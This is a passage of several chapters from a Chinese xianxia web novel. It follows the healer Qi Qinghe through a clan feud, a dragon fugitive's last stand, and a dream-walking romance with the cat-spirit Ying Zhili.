祈清和问道:“你在谢家可有人脉?能不能帮我查一查,活人蛊无患塔试验中,是否有‘祈清和’这个名字,或者无患塔哪位医师,名中含有‘月’字 26.旧日恩怨 《又梦见修真界的早死白月光》全本免费阅读 只见常夜一个轻跃从剑上跳下,收了剑,盈盈笑道。 “楼船一别,有幸再见,几位道友别来无恙。” 谢桓听得这话一愣,眼睛蓦地睁大了,下意识回头看向祈清和。 祈清和眉心微沉,目光凛冽,低声道。 “我们在青道镇碰见的那位‘常夜’,是他人假扮的。” 初次产生疑窦,是小梦的心魔通报。 明明她与常夜的初相遇是在踏云楼船上,可那是小梦却一声不吭,偏偏进了青道镇,小梦的心魔检测才有了反应。 而青道镇那位“常夜”,除了外表一致外,衣着与气度,都与眼前真正的常夜截然不同。 她拿不准那人虚实,所以心有防备,但从头到尾,“常夜”除了性子冷淡外,并无任何伤人之举。 想了想,祈清和还是决定将此事来龙去脉,告知常夜。 常夜听过后,目光有些呆滞,他不可置信道:“你是说,有人冒充我?” 祈清和微微点头:“常道友,你有什么头绪吗?” 常夜原地转了一圈,焦急道:“没有!三清在上我清澈愚蠢又平平无奇,没得罪人啊!” 他顿了顿,无助抓狂道:“哦吼这事儿该汇报给谁啊?最近掌门不在宗,万一有人假扮不问都弟子潜入宗门引发祸事怎么办?” 祈清和失笑,连声安抚道:“你别着急,现在告知宗门长老,提醒他们多加防备,也来得及。” 经这么一提醒,常夜冷静下来,挠了挠头发,不好意思道:“抱歉抱歉,是我毛躁了,正好我师父最近回宗,我这就去禀告此事,哦对了,几位来不问都是有什么事吗?” 祈清和想了想,便索性连带谢桓目的,一并解释了:“我来不问都寻人,我朋友报考不问都,来提交复审结果。” 方才还满脸焦躁的常夜转瞬把被人冒充一事抛之脑后,兴致勃勃道:“诶这位道友是打算直接考不问都内门吗?那我带你们顺路过去吧。” 说罢,他拿出随身宗门令牌,在不远处一半人高的石碑上照了一下,地面倏地一震动,四周紫藤花瓣纷扬,随后,竟像是有自我意识般纷纷向两侧退却,平白生出一云道来。 谢桓惊叹:“竟是别有洞天。” 常夜忍不住得意:“嘿嘿,我们令牌很神奇的,不仅可操控宗门内大多机关,还镌刻多道复杂法术,在弟子遇上险情时可庇护一二。” 说罢,他领着三人一路往云深处走去。 走了约一刻余钟,出藤林,豁然得见一湖心白玉亭,常夜将三人领上亭子,又用令牌操控机关,白玉亭赫然成了一飞行法器,带着几人在群山间悬空而行。 祈清和仰头往亭外看去,几重云岫,几重烟水,有白狐、泽马、玄鹤等诸多百兽隐于林,她正看得出神,天光一晃,一只帝江吭哧吭哧踏云跑过去。 旋即一阵流风卷云,一御剑弟子急匆匆直追帝江而去。 “谁家毕设又跑出来了啊——!” 常夜感叹道:“我听师父说,其实不问都以前又破又小,也是多亏了掌门,独自一人撑起一个宗门。” “咦,掌门没有师兄弟姐妹吗?”祈清和疑惑道。 常夜蹙眉思索:“这我就不知……哦我们到了!” 白玉亭悬空飞行良久,终于在一间山头前缓缓停下,只见烟芜蘸碧,灵沼波暖,树下石桌处正坐着一位身着缣缃黄纹袍,正在看书的高瘦女子。 “师父!师父——!”常夜挥挥手,朗声喊道。 那高挑女子闻声回头,凤目一挑,凌厉一瞥,常夜被吓得一个哆嗦,顿时噤声。 祈清和却微微睁大了眸子。 那黄衫女子,正是此前在沈家照瑞山庄,匆匆见过的仙盟副盟主,静娴仙子。 “几位,好久不见。” 静娴亦是一怔,而后收了眉眼严肃,微笑地向着众人打招呼,常夜一收此前毛躁,毕恭毕敬地向着静娴仙子行礼,而后禀明了经过来意。 “原来如此,你先去筹备后几日的补考,要是不过,你出门别说有我这师父。” 静娴连威胁带恐吓,把常夜赶走后,才朝着祈清和温和一笑,解释道。 “抱歉,此前公事匆忙,一直没正经介绍过,我是不问都十二峰长老之一,静娴,亦在仙盟任职。” 她停顿片刻,有道:“几位来不问都的目的我知晓了,祈姑娘要寻找一位大约六百余岁,名中带‘月’的失踪女弟子,这事只怕要耗几日功夫,月这个字太过常见,只怕符合祈姑娘要求的,不问都能寻出不少。” “唔,谢道友任务失败又是怎么一桩事?我此前在燕泽,有听闻谢道友身手不凡,学识亦渊博,怎会几次复审不过?” 谢桓闻声行礼,依言告知青道镇诸事起末。 静娴仙子听过后,手中判官笔一点,挥出几宗文书,一一查看过,眉心一蹙,良久,她才恍然明悟了什么,又问道。 “谢道友是谢家嫡系弟子?” 谢桓莫名:“对啊。” 静娴仙子深深一叹,收了卷宗,满面歉意道:“那……我还是推荐谢道友另寻宗门,不必非不问都不可。” 祈清和听得一愣,疑惑道:“这是为何?不问都并不像以出身评判他人的宗门。” 静娴仙子犹豫几番,低声解释道:“也是我此前一直在仙盟呆着,险些忘了,不问都,与谢家有旧仇。” 谢桓双眸蓦地睁大了,不可置疑追问道:“旧仇?什么旧仇?多少年前的?” “等我查查卷宗,那个时候我也还小,记不太清。”只见静娴仙子判官笔尖一挥,金光流淌,只见周围数卷轴状纸墨凭空显现。 她问道:“祈姑娘可知,骊龙暴动一案?” 祈清和一愣,回忆须臾,此前在青道镇除犼妖时,她曾无意间听过此事。 “长洲缙山,曾有一渊,名唤九重渊,其水险恶异常,有凶兽骊龙一族居于此,常扰得周遭百姓不得安宁。” “仙门百家屡次出手,想制服骊龙未果,反而使得骊龙暴动,就在一筹莫展之际,谢家率门下弟子三千,以凶制凶,驱使数百余犼妖,展开了长达一月有余的清剿。” 静娴览过卷宗,继续说道:“此番过后,骊龙一族被残杀殆尽,谢家以此声名远扬。” “骊龙暴动一案,本应到此为止,可就在百年后,有人偶然发现,本应无一幸存的骊龙,竟有一遗孤,藏于不问都。” 祈清和呼吸微微一顿。 27.讳疾忌医 《又梦见修真界的早死白月光》全本免费阅读 在这仙人云集的四海十洲中,有这样一位魔头。 祈清和坐在归梦药堂里,用灵镜了解着世人对别澜夜的评价。 当年九重渊骊龙暴乱案,仙门百家讨伐,他不知以何方式死里逃生,拜入不问都,潜藏近乎百年,在前代掌门逝世时,身份暴露,谢家以此要挟不问都,别澜夜叛逃,与宗门一刀两断划清干系。 他叛出不问都后,先是销声匿迹了一段时间,再出现,却已走火入魔,堕入魔道。 有人说,他罪大恶极,身为凶兽残害生灵。 有人说,他全族被仙门屠杀,此番入魔,定是为复仇而来。 静娴说,他心机深不可测,先以门客身份潜入世家,后又蛊惑沈家以燕泽大比挑起名门内斗,手中早已人命无数。 当然,这些有理有据的阐述中,总有那么一两段道听途说。 比如,别澜夜与东君少时交好,却不知因何原因,最终形同陌路。 有好事者八卦道,想必中间定有一段情谊,不然,谢家当年怎么会协迫东君亲手斩杀这个魔头呢。 对此,应知离严肃反驳:胡说八道。 祈清和听后,哭笑不得。 「所以……所以今天那位‘假常夜’还是没来吗?」 小梦从药柜后探出半个脑袋,瓮声瓮气道。 “嗯,看上去我们又等空了呢。”祈清和放下手中灵镜,又往火上煨着的一小罐汤药中加了几味药材。 小梦曾说过,凡心有魔障者,皆可能在梦中来此地,于是为了完成“渡化心魔”的任务,祈清和这些天,天天在药堂中守株待兔。 可一连几日,都没等到那位“假常夜”。 然而,除了他,却意外等来了不少修士。 这些修士并非心魔侵体,只是在修道一事上陷入坎坷困境,心绪低谷,迷茫无措,故而,也来到了此间归梦。 这些人毋需专门入梦探寻执念,祈清和利用此间归梦的药材,配了一纸只能于梦中起效的药方,以静水熬制,又将此前应知离给她刻制的木剑化作一截花枝。 持花沾水,轻点入梦者眉心。 执着迷障,烟消云散。 这种病者治愈后,其心中感激亦会化作一带小小长幡,出现在高大遮天的神树枝桠间。 修士们从朦胧梦中醒来,只模糊记得浮云散尽,有位青衫女子幕篱云纱,出尘淡然,仿佛皓月冷千山。 她一颦一笑都令人熟悉,却又无论如何,记不起。 祈清和算着时间,待药熬好了,小心翼翼端下来,又掐诀施了个引水法术,将药封存在玉瓶里。 而后,她眉间略有愁容,无奈道:“只能明天再来碰碰运气,看能不能等到那位‘假常夜’了。” 呆的太久,梦该醒了。 祈清和收拾好药材,身影逐渐消失在此间归梦。 应知离望着她离开的地方,微微叹气,却没有随之一道离开,而是平静地,在等待什么。 遽然,咻的一声炸响。 一道电光裹挟着风声劈过来。 他阖眸,心念一动。 那抹电光连药堂的门都没挨着,就无声无息化在云里,杳无动静。 应知离缓缓睁开眼,走下药堂前玉阶,站在神树下,朝着院门处不知何时出现的一个黑衣青年,似笑非笑。 那黑衣青年咬牙切齿地看着他。 “应、知、离——” 应知离一语如鸿毛般,点破了他的身份:“骊龙。” 又是一道电光劈过来,杀意十足。 四周白雾霎起,再度吞噬了这道金蛇。 别澜夜冷笑一声,手中法术玄光一晃,竟幻化出一条闪着雷电火花的长鞭,而后挥斥一甩,没再用术法,仅凭着身法武功,袭向应知离。 应知离后退几步,只是身形腾挪,闪躲避开,并不出手,几招下来,脸上渗出浅浅血痕。 只见别澜夜长鞭一劈,应知离半倒于云阶上,转瞬被轻而易举禁锢住。 一小道惊雷,擦着应知离颈边打过去,豁然,鲜血顺着伤蜿蜒淌下。 “离她远点。”别澜夜厉声要挟,“否则,这雷下次打得就是你心脉。” 颈边白衣浸了血,刺目骇然,应知离恍若未觉似的,反而微微仰起头,轻笑一声道。 “别这么说。” 他顿了顿,神色浮现出一丝嘲讽来。 “仿佛听上去,你跟她,真有一段情似的。” 声音气定神闲,就好像,眼下受制于人的,不是他似的。 别澜夜面色愈发阴沉,抬手再度凝出一道术法,煞气渐浓,当即就要狠狠劈上去。 “闭嘴,再说一次,离她远点。” 应知离眼中毫无惧色,反而冷声道:“你在燕泽城设陷她时,怎么没想过,自己离她远点?” 别澜夜言语中带了怒意,声音有些颤抖:“是因为你的梦术改容,我没……认出她。” 应知离笑一声:“那现在呢?这几日,你明明来到了这里,却无论如何都不肯进来见她。” 这里是梦境,没什么,能瞒过他的眼睛。 所以早在祈清和第一日“守株待兔”时,他就察觉了,别澜夜已出现于此间归梦的院门外。 可别澜夜不愿进来,只是每天梦里,远远站在云雾的另一端,一声不吭。 应知离曾想过,要不要告诉祈清和,她等的那位患者已经来了。 祈清和在等他。 一刹间,这个念头浮现脑海,想到这儿,他心里就闷闷的,一种说不清的滋味打翻了似的,像个挥不去的噩梦似的,苦与酸混杂。 反正别澜夜不想进来,干脆,就不让他进来。 于是,应知离一声不吭。 别澜夜沉默。 方才狠戾怒意,都在应知离提起那个人时,散了大半。 是他胆小。 他压根不敢进来,因为不知如何面对她。 他怕见到她,他的情绪丢盔弃甲,只剩狼狈。 就像在青道镇时一般。 他途径青道镇本是无意,想去买青团,又怕被人认出,便随手化作了一位不问都弟子的模样,进了镇,碰上犼妖踪影,除妖之际,无意中,遇见了她。 她和谢家人走在一起。 他不敢思考为何她会与谢家人交好, 28.确凿无疑 《又梦见修真界的早死白月光》全本免费阅读 “诛妖灭邪,不问都怎能袖手旁观?” 一道蛮横了当的质询从任务堂中传来,乌泱乌泱的人群霎时寂静。 循声抬头一看,那任务堂中正站着几位腰佩谢家令牌的紫衣仙君,神情跋扈。 除沈家外的三大世家在前日拍板,集结仙家,讨伐凶兽,据名门弟子几番调查,骊龙不日前曾出现在方壶青道镇,而后腾云而去,日行千里,目前再现身……是在长洲九重渊。 谢家到底在四海十洲还算有点影响力,不过几日时间,落魄的昔日门阀竟聚集了七七八八,合计上百道府,这一成果让谢家倨傲,于是他们理所当然找上不问都,要求不问都也派出人手。 肃清门徒,天经地义。 谁知不问都压根不理他们,谢家前来点召的使者修士碰了一鼻子灰,破口大骂。 “什么不入流的败类宗门,包庇凶兽,狼狈为奸,妄为正道!” 不问都的弟子们遽然冒火,气急败坏嚷嚷着吵回去:“我们和骊龙无冤无仇,凭什么去讨伐别人!我师父说过,当年骊龙在不问都时,与众人相处和睦,未曾伤人一分一毫。” “就是,骊龙一族当年虽作恶,但不问都一向不问弟子来处,仅看本心,澜夜师叔祖对宗门弟子向来和善,我们断无出手道理。” 这话听得谢家人更为勃然大怒,趾高气扬对着身边人命令道:“敬酒不吃吃罚酒!打!今日我们可要好好收拾这些杂牌垃圾!” 一话激得硝烟顿起。 双方弟子陷入混战,祈清和退出人群站在一旁,冷眼旁观。 来任务堂接任务的大多都是实力尚浅的不问都弟子,故而谢家使者虽人数少,却丝毫不见落于下风,反倒是因出手狠辣,短短几息便伤了不少人。 本是想教训这群不知天高地厚的废物,谢家使者却渐生杀意,凭什么?他们这些本应高高在上的天之骄子,这些芸芸蝼蚁也配跟他们叫板? 只见那谢家使者眼神阴戾,趁着一不问都弟子出手破绽之际,抬手倒扣,反擒住那人脖颈命脉,力道渐狠。 那弟子被掐住颈部,脸色逐渐紫青,徒手想掰开谢家使者,支支吾吾说不出话,眼看着就要命丧当场。 谢家使者轻蔑一笑:“什么杂碎,也配求道问仙。” 在场所有人都慌了神。 就在这混乱沸腾中,一道不轻不重的术法如风般铺天压过来。 磅礴从容,非内力高深者不能为之。 只一瞬,谢家使者被压迫地陡然松了手,他掐着的那位弟子死里逃生,双腿一软,跪坐在地上,如溺水者般大口喘气。 “谁!”谢家使者的杀意褪了几分,犹疑地扫视在场众人。 那道术法再度席卷而来。 凌厉如风的气流硬生生将他掀起,没有丝毫抵挡余力,不由分说地将他打出三丈远,彻底碾轧他的神识。 寻不到出手者的影子。 谢家众人顿生畏惧,眼神惊恐,恃强凌弱的前提是得“强”,否则何来嚣张资本,他们当机立断不再纠缠,带着人即刻离去。 谢家狼狈逃跑。 不问都弟子也很狐疑。 大家你看我我看你,方才出手的人是谁?哪位师尊长老吗? 渐渐地,人群中逐渐分开一条道,所有人都回过头,这才看见远远人群外,站着一位身着白清长袍的美丽女子。 她掌心正悬着五峰十二山之一,太一山长老静娴的令牌。 所有人齐刷刷倒吸一口气,心中顿悟,这人来自太一山!是静娴长老的人! 弟子们纷纷面露憧憬感激。 这位道友如此不显山露水,此前从未见过,姓甚名谁,又是何来历? 然而这满腔疑窦还未问出,那出尘温柔的女子似乎很轻地笑了一下。 “好生修炼。”她声音淡然,“别负了不问都在外盛名。” 祈清和心中一叹。 她本不打算出手干涉,可眼看命案将生无人可拦,恍然想起常夜曾说,宗门令牌镌刻有庇护术法,这才借静娴仙子的令牌一用,以灵力触发,呵退谢家。 众人听得她此言,不禁惭愧,面红耳赤。 被他人在自家地盘上差点欺负了一通,丢人!太丢人了! 思及此,大家重作精神,誓要奋发图强勤加修炼,旋即涌进任务堂中各自领了任务,满怀信心下山历练而去。 当然,最顶部那道金色的天字召令无人问津。 祈清和走进任务堂,才发觉从谢家使者手中死里逃生的那位弟子也在,他正是负责值守堂中弟子,只因自己令牌为核验资料而留在了堂内,从而束手无策。 见祈清和进来,那弟子便请她坐,询问有什么需要帮忙的地方。 祈清和回答道:“我想查大略六百余年前,不问都是否有某次宗门历练,出了大事。” 燕玉真当初无比恳求“阿月”不要参加那次宗门历练,它说,那是一场“凶运”。 六百余年前的资料并不好找,守堂弟子应下请求,搭了梯子去一叠一叠去翻找旧时文书。 就在祈清和耐心等待之际,芥子囊中的灵镜因联络讯息,恍然亮了一瞬,她抬手召出灵镜,上面显示着,谢桓给她发来的消息—— 【祈姑娘,我收到了来自缙山谢家的消息,你上次拜托我查的事情,有了答案。】 【无患塔医师中,确实存在‘祈清和’这个名字。】 她确实是当年的小七医生,确凿无疑。 祈清和目光微顿,忽然有些庆幸。 还好,她唯一的记忆,不是一个错误。 “祈姑娘,好巧!” 正出神,便听见有人唤她,祈清和抬头,只见常夜的身影从外走进来,见着她,笑着打招呼。 祈清和笑着回应:“常道友怎么来这里?” 常夜兴奋不已:“嘿嘿,我补考过啦!感谢祈姑娘此前指点迷津,我这番是要下山历练,顺道去改个名字。” “改名?”祈清和疑惑,“现在这个名字怎么了吗?” 常夜不好意思挠挠头:“其实也没什么,就是被师父嫌弃过,太不吉利了,常夜常夜,感觉总是盼不到白天没有希望似的。” “我是孤儿,这 29.邀卿游梦 《又梦见修真界的早死白月光》全本免费阅读 任务堂能寻到的线索到此为止。 若能知道,当年九重渊骊龙暴动究竟发生何事,就好了。 能有办法前往那段回忆里吗? 祈清和垂眸思忖。 如今幸存的骊龙遗孤,是唯一可能拥有那段记忆的梦主人。 在离开前,她回眸,问了守堂弟子最后一个问题。 “那位别澜夜,是何模样?” 守堂弟子目光微沉,回忆道:“我入宗时他早已离开,据我师父描述,模样蛮俊俏,喜穿玄衣,剑眉金眸,眼尾一点红痣,善鞭,能召雷唤雨。” 这几个词语一描述,祈清和倏然想起了在生桑道人梦中见到的,那个金眸孩童。 那个叫她“师姐”的小孩儿。 她亦想起了在青道镇里,“假常夜”对犼妖与谢桓,十足十的杀意。 「诶让我捋一捋,堂主,那位身有心魔的‘假常夜’,还有梦里见到那个的孩子,都是魔头别澜夜本人是吗?」 祈清和走出任务堂,微微一叹,回答道:“大抵如此。” 这位几乎不肯露面的病人,藏了太多秘密。 直到如今,对他的了解也不过雪泥鸿爪。 “咦,怎么变天了?” 耳畔传来宗门内路过弟子喃喃自语的疑惑。 祈清和回过神,微微仰起头朝天望去,只见明丽阳光遽然阴沉,层卷翻涌,天际传来震雷滚滚,一下一下鞭笞乌云,让人心中随之一惊。 她疾走了几步,来到一处高处崖边亭台,几个好奇心旺盛的弟子也围聚在此,探头探脑,视线掠向远方,只见极其遥远的地平线已被无限森然的黑暗笼罩,诡谲萧瑟。 诸多弟子叽叽喳喳。 “什么情况?那个方向是长洲吧?” “是长洲,而且是九重渊,那是世家去讨伐澜夜师叔祖设下的术法余威吗?” “这么快的吗!!我以为他们还在召集人手阶段?” “听说世家几大尊者长老们已先行一步,唯恐骊龙逃窜。” 与此同时,不问都半山校场的钟楼铛铛铛鸣了三声,紧接着,便有稍微年长的高阶修士吆喝着将所有看热闹的弟子往回赶。 祈清和只能随着人流往回走,她回眸望山间一看,倏然,万千缕仙光漫天,数百道巨型护山大阵随之启动,缓缓笼罩群山峰峦。 只见膏沫青松缣,云路苍茫,群鹤们承载着数十位仙人破云而出,恍如锦缎驾天,为首的,正是太一山静娴长老。 不过须臾转瞬,他们的身影便消失于广袤天际中。 「堂主,不问都的长老们这是也要去九重渊吗?他们是去杀还是救那个魔头的啊?」 说不好。 祈清和心念百起,这位大开杀戒,欲毁天灭地的骊龙遗孤,究竟想做什么。 与此同时。 长洲,九重渊。 暴雨势如银汉倾天,黑沉乌云愈厚愈稠,海浪袭风形成数道龙卷水柱,空气腥咸,九霄震雷呼号,海岸礁石被劈得皮开肉绽,焦土狼籍。 而这嶙峋怪石间,只见诸多三大世家携百来道府,将九重渊围了个水泄不通,布下天罗地网,严阵以待。 有一仙风道骨的世家长老冲着天空厉声道:“骊龙!你挑起世家内战,蛊惑人心,戕害人命,还不速速伏诛!否则,我等不日便派人砸了四海所立的东君像。” 话将一出口,转瞬便被海浪风声吞噬。 顺着众人视线望去,只见滔天海浪上,苍茫天地间半悬着一位玄衣青年。 他金瞳龙角,神色冷峻狠戾,眼尾一点红痣似血似泪,手中长鞭煞气弥漫,一身杀伐之意。 别澜夜信手一挥,裂天闪电霎时劈下,直接将方才那长老击了个神魂俱灭。 他目光一寸一寸扫过在场近万人,轻笑一声:“哦,终于是来齐了?” 谢家主面色一沉,朗声质问:“你掀得大乱,引世家憎恶,又故意卖出破绽引我等来此,目的为何?” 听得此言,别澜夜嗤笑,眸光阴鸷,却并不答话,只是长鞭一甩,妖气魔气混杂裹挟,霎时飞云掣电,而世家数百长老尊者也当即显出法相,排阵施法,出师相斗。 海啸巨浪卷了个地覆天翻,鸟兽逃,虫鱼出,顷刻间周遭横尸暴野,断臂残肢如搁浅般漂浮于岸,煞煞威威,乾坤颠倒,一时间,不知日月何几。 别澜夜确实是极其出色的妖兽,他早在几百年前便滋生心魔,坠入魔道,可不但不见神志侵蚀,反倒化魔气为己用,使得功力修为更上一层。 此时孑然一身,对着那漫天仙家,毫无惧意。 只见他手中金鞭再扬,周遭水瀑雷电在弹指挥间形成一道道枷锁杀刃,毫不留情刺穿诸多尊者心脉,鲜血簌簌,几乎染红这片海域,腥气扑天。 他故意引得这些高高在上的“仙人”憎恨,自然是为了在此时,一网打尽。 逐渐力不从心的谢家主目光一凝,怒笑道:“你以为你模仿人类,机关算尽,真能将我们尽数困于此,诛杀殆尽,好完成你的复仇大业?” 谢家主一个眼神,身边人即刻会意,抬手驱使手中法器,那法器中一阵古怪奇异的嘶哑乐音飘飘荡荡,让人不由得心中一栗。 天地间陡然震动。 随着乐音声散去,在仙家所在的山石身后,妖啸穿林,霎时出现一道道金色长毛,口吞火云,似马似犬的数十妖兽来。 ——犼。 一犼可斗三龙二蛟,专以克龙。 别澜夜眸光一暗。 他可轻而易举信手杀死成百上千人,但面对犼,面对天地法则的制约,他无能为力。 别澜夜呼出一口气,缓缓阖眸,无声念咒,足下顿时生出一道玄光,身上魔气妖气顿起,手中一道道术法打出,竟是形成了无数杀阵,直扑仙家犼妖而去。 谢家主冷笑:“呵,妄想同归于尽么?” 别澜夜弹指挥间打伤诸多犼妖,看似游刃有余,但相应的,他体内生命力也在急剧流逝。 他心中无声一叹。 抱歉,小师姐。 你就当……没我这个师弟。 「这个雷声怎么还不停啊!」 不问都,太一山。 小梦捂着耳朵悄声抱怨道,又往祈清和身边缩了缩。 祈清和坐在山间崖边,朝着长洲方向久久凝望着 30.清梦压河 《又梦见修真界的早死白月光》全本免费阅读 我邀你去游一场,人间清梦。 一山的云雾,没了万物生灵,连呼吸都化在风里。 祈清和良久不语,平静如潭的眸光,一阖,再睁开时,漾开一泓波澜。 鬼使神差地,她轻轻抬手,搭上那双温柔微冷的指尖。 向前迈了一步,跨过那一小道空隙,踩在云里,可是,梦太过柔软,祈清和没站稳,身体不自觉往前踉跄。 一只手拢上来,稳稳将她扶在臂弯里。 她抬眸,撞进了应知离含着情绪的漂亮眼睛。 像藏着落星。 祈清和倏然愣住,那好像……就是星星,星光的倒影。 她回头,只见不问都的景色早已淡去,群山峰峦消失得无踪无影,天地边界消融,浸染在古旧如墨的蓝里,而在他们所站的云舟下,淌着极浅极淡的长河,盛满星光。 风似有若无轻缓一荡,涟漪层层,云舟渡星河,向远而去。 应知离低声道:“三千梦境聚于此,可勘世人愿,可现世人心。” 他说罢,手一带,与她拉开了半步距离,祈清和再向远望,看见一场场梦如画中勾云,连绵不息,随着梦境内容各异,幻化出千般万象,流光溢彩。 她看见日出月落,看见仙宫皇城,看见花海彩桥。 她看见迷茫者悔悟,看见贫困者富足,看见离别者重逢。 她看见怨憎会,爱别离,求不得。 她甚至还看见谢桓的梦,谢桓与相盈山惠长老辩论的梦。 祈清和看着一场场瑰丽绮梦,神色平静无波,她忍不住想,梦醒后总归会一切落空,如此虚幻泡影,真的有意义吗? 风倏然大了几分,小舟轻悠微晃,茫茫星海间,有一小团梦,被风吹偏了方向,慌慌张张不慎扑在了祈清和怀中。 祈清和伸手,将它拾起,这团梦遽然一惊,从指尖忙不迭溜走,转瞬消散。 她眉梢轻蹙,喃喃自语:“既是留不住,又为何入梦?” 这一语悲戚感慨,化在风里。 “清和。” 听得有人唤她,祈清和回眸,微微仰头,却见应知离就站在自己身后,水色宽袖轻轻扬起,几乎要罩住她。 “也许是因为,在梦里……有他们想见的人。” 他在回答祈清和方才的问题。 毕竟,谁都不喜遗憾,谁都偏爱完满。 祈清和定定地凝望着他,眉目间那一抹极浅的悲戚孤寂,始终没化开。 应知离抬手,不由自主地,想抚平她额间愁容。 手在半空,又顿住,眸光微垂,转而去拂拢她额边散开的几缕青丝。 “大梦虽皆空,但梦中人所经历的一切,记得的情绪,都是真实。” “梦境,是人心底最为希冀的愿望。” 应知离缓缓一笑。 “清和,你有什么愿望吗?” 这个问题让祈清和怔了良久。 她似乎从未想过什么愿望,如果有所求,那她应当是希望找回记忆的。 可是,她还记得,这一路走来,自醒来的第一天起,无患塔、燕泽城、青道镇……再到如今不问都,贫富贵贱,生死悔恨,在滚滚红尘中怨怼挣扎。 与这些比起来,自己的过往,似乎显得那样渺小,不值一提。 祈清和声音顿了顿,眼睫垂下,一字一句回答道。 “大概是……愿芸芸凡世,脱九厄之难,离三途之苦。” 应知离心中一叹,眸光暗下去,有片刻失神,藏着万语千言,却一个字都不肯说。 他就知道,这个问题不该问。 她是极善良的姑娘,半心悲悯,半心仁慈,连多一分,都不肯留给自己。 这一沉默,就无话了。 察觉到眼前人的欲言又止,祈清和静静敛着眸子,可心绪,却被这沉默搅扰的纷杂,没来由生出几分不平来。 这个人,似乎比她还能藏秘密。 他自何处来?身份是何?目的为何? 她至今一无所知。 心中生了别扭,目光瞥向他耳畔一直垂落的挂饰,干脆不再看他。 长风绵延,云卷云舒,星海承载着小舟独自穿过这无垠浩瀚。 遽然,轰隆一声,一道闷雷响彻,于是星海陡然一惊,猝不及防的掀起了浪来,霎时搅得星光层乱,连云都四散。 小舟顿时震动摇晃,祈清和一个站立不稳,身形失重,将将要向一旁栽去。 她本能地想以仙法稳住自己,可心中一个念头掠过,她定了定神,收了自身所有灵力防护,任凭自己将向星海栽去。 应知离眸光一惊,即刻倾身上前,伸出手想去牵她,可却晚了,指尖擦过指尖,他眼瞧着祈清和即将坠入这片星光。 “你——” 祈清和瞧着应知离仓皇失措的眸光,轻笑,下一瞬,只觉眼前天翻地覆地一转,预料中的水波倾没并未如期而至,一个人影罩上来,将她揽在船身里。 她稳稳当当半躺于云舟中,连一丝磕绊的疼痛都没有。 这一次,水波拍浪更大了几分,不过却不是因为雷声,而是被方才她一通胡闹,吓得。 祈清和非常明晰地感受到,自己的腰身,被什么毛茸茸的东西缠住了。 那是一条修长有力的尾巴。 两个人距离实在太近,应知离欺身上前,连气息都牵连,生怕她,再跌下去似的。 她扬眸,撞进他惊慌不定的目光里,笑容深了几分。 祈清和笑得昂扬得意。 瞧,这下她可算知道,他的原身是何了。 腰间裹挟的尾巴并未松开,蓬松柔软,雪白毛发间布着如团团祥云般的蓝黑花纹,美丽轻盈,与此同时,祈清和看见,应知离脸颊浮现浅浅一抹飞红。 那抹霞红只是不着痕迹地显了一瞬,又极快被压回去。 “你试探我。”他声音喑哑,还有些委屈。 祈清和仰起头,理所当然道:“你从不提及自己相关,我只能自己想办法。” “你多久看出来的?”应知离问她,语气是强作的生硬冷淡,尾巴却眷恋着,迟迟不松开。 “嗯……可能是从你爱在树下晒太阳起。”祈清和想了想,如实回答。 没办法,他演技太过拙劣生疏了,无论怎么看,都不像一个人类。 祈清和再度瞥了一眼绕在她身上的尾巴,原来是猫类么…… 这一瞥,毛茸茸的尾巴抖了抖,不舍似的,悄悄松开了几分。 “你没别的要问了么?”他悄声道。 祈清和笑容敛住了几分,阖眸,想了一会儿。 其实她真没什么想问的,他是人是妖,来时归处,目的为何,她都不是很在意,他为善非恶,便以足矣。 方才那一念小小不满,只是恼他什么都不愿说的性格。 她睁开眼,眨了眨,问了另一个问题:“搅得这清梦不宁的那道雷声,从何而来?” 应知离眸光暗下去,心中五味杂陈的,像被自己爪子划过似的,有点难挨,有点疼。 他本来想,如果她好奇,无论问什么,他都回答。 可是她什么都没问,那一刻,他就明白了,是他无关紧要,所以并不在意。 于是他声音低了几分,压下心中几分失落,回答道。 “是骊龙那家伙的梦。” 听得这话,祈清和半撑着坐起身,回眸向远处看去,只见绚烂如虹的云层 31.道是无晴 《又梦见修真界的早死白月光》全本免费阅读 应知离凑上前,离得近,二人呼吸纠缠着。 他微微扯开了,颈边的衣衫,露出了一小截裹着伤口的白色纱布。 那是几日前,在药堂中,被骊龙长鞭划出的伤痕。 他悄悄调动妖气,让经脉紊乱,身体里一股内力不分轻重地朝着颈部袭去。 于是那白纱间,瞬间洇出了星星点点鲜红血迹。 祈清和眸光一诧。 “这是骊龙伤的。”他说道,“他不愿见你,还威胁我,让我离你远点。” 言下之意,你瞧,他真不是个善良的妖。 应知离认真捋了一遍当初对骊龙的承诺,他只说过,不主动揭开其身份,可没答应过,不会告状。 嗯,没什么问题。 祈清和伸出手,指尖一点一点轻拂过那渗了血的药纱,带起应知离颈边一阵酥痒,呼吸就瞬间乱了。 指腹一丝细微仙力划过,刀一样,割断了这层白纱。 于是那看起来有几分骇人的伤口,顿时暴露在她眼前,清晰明显。 是一道鞭伤。 随着呼吸一起一落,鲜血缓缓淌出,看起来,真有几分严重。 祈清和一眼看出,伤,是几日前形成的,可眼前人,却没轻没重的,兀自加深了这道伤。 “我不喜欢,伤害自己的行为。” 话说的冷硬,一语点破了他的心思。 应知离呼吸停滞了一瞬,眸光里染上一丝惶恐不安,连尾巴,都不自觉地松了松。 他怎么忘了,眼前人,是位医者。 想了想,他微微低头,声音融在呼吸里,温柔道。 “那你不要去这场噩梦,好么?” 没有别的理由留下她,就只好,开始耍赖了。 作为能自由游走于梦境的妖,他非常清楚,那梦里是什么。 那是六百多年前的暴动屠杀,血腥与死亡混杂,入梦者稍有不慎,就会死亡。 一旦在梦里死亡,哪怕是他,也拉不回性命。 所以他不得不承认,他害怕了。 他害怕祈清和一去不复返。 祈清和微微仰起头,他的呼吸是乱的,连带着,她的呼吸也有几分紊乱。 她平静道:“别澜夜心生魔障,如若有朝一日失控,以他的道行能力,只怕会真的毁天灭地。” 应知离心中一急,也顾不得思考。 “他毁天灭地,与你何干?这世间因贪嗔痴疑慢所掀起的战乱,难道还少么?” “……” 空气霎时冷下来,祈清和眸光一暗,与他对望着,神情中满是寂静寒凉。 呼吸缓下来,一声不吭地,压下两人间对峙的暗潮。 应知离有些心虚,瞥开了目光。 方才的话,说的没了分寸轻重,他知道,祈清和绝不是那种看见生灵平白丧命而坐视不理之人。 他顿了顿,想起身,拉开两人距离,可尾巴,仍然挽留在她腰间,舍不得松开。 “抱歉,我——” 话未落,猝不及防的,颈边衣衫被轻轻一拽,应知离顺势一栽,云舟本就柔软,他原本撑在祈清和身边手一滑,松了劲,变成了半撑着,于是身子都欺过去,气息绕在一起,彻底乱了。 “别动。” 祈清和声音微冷,有几分恼意。 